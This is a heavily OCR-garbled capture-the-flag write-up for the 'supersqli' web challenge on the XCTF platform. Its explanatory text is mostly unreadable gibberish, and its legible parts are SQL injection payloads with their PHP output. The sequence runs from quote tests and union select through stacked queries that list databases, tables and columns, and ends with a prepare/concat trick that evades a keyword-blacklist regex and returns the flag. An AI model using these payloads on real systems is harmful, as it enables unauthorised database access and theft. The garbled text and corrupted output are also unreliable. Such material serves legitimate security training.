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SQLEAKIBH, #%BHRAEREIESQLIEANRR.
BHREIANL and '1'="1 RMIEEHH, REWA 1L and '1'="2 RKWEEHHH, #—FZRBEEEN, A 1' union select
1 # G RIRET

return preg_match("/selectlupdate|delete|drop|insertjwhere|./i",$inject);
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ZREHESEN, Wi&: 1';show databases;#, WATHITIT, REWE:

array(2) {

[0]=>

string(l) “1”

[1]1=>

string(7) “hahahah”
1

arrav(l) {
[0]=>
string(11) “ctftraining”

}

arrav(l) {
[0]=>
string(18) “information_schema”

}

arrav(l) {
[0]=>
string(5) “mysql”

}

arrav(l) {
[0]=>
string (18) “performance_schema”

}

arrav(l) {
[0]=>
string(9) “supersqli”

}

arrav(l) {
[0]=>
string (4) “test”

}
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tables from xx B DALSIEILTE(E F ¥ & supersqli)
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RAZ 1" ;show tables;#, FREXFBIPTAE:

array(2) {

[0]=>

string(l) “1”

[1]1=>

string(7) “hahahah”
1

arrav(l) {

[0]=>

string (16) “1919810931114514”
}

arrav(l) {
[0]=>
string(5) “words”

}

BHHEAMHNR: wordsFf1919810931114514
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32 1" ;show columns from words;# %l Hiwords3 # i) FEL :

arrav(2) {

[0]=>

string (1) “17

[1]1=>

string(7) “hahahah”
}

array(6) {
[0]=>
string(2) "id”
[1]1=>
string(7) "int(10)”
[2]1=>
string(2) "NO”
[3]=>
string(0) *”
[4]=>
NULL
[5]=>
string(0) 77
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array(6) {
[0]=>
string(4) “data”
[1]1=>
string(11) “varchar (20)”
[2]1=>
string(2) "NO”
RIES
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string(0) *”

[4]=>
NULL
[5]=>
string(0) *”
1
AT 1" ;show columns from ~1919810931114514 ;# E R KR 5| 5
arrav(2) {
[0]=>
string(l) "17
[1]=>
string(7) “hahahah”
}
array(6) {
[0]=>
string(4) "flag”
[1]=>
string(12) “varchar(100)”
[2]=>
string(2) "NO”
[3]=>
string(0) ””
[4]=>
NULL
[5]=>
string(0) ””
}
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1';prepare pre from concat('s', 'elect * from ~1919810931114514" ');execute pre;#



array(2) {

[0]=>

string(l) “1”

[1]1=>

string(7) “hahahah”
1

arrav(l) {

[0]=>

string (38) “flag{c168d583ed0d4d7196967b28cbd0b5e9}”
}




	攻防世界-Web-supersqli
	0x01
	0x02
	0x03
	0x04
	0x05

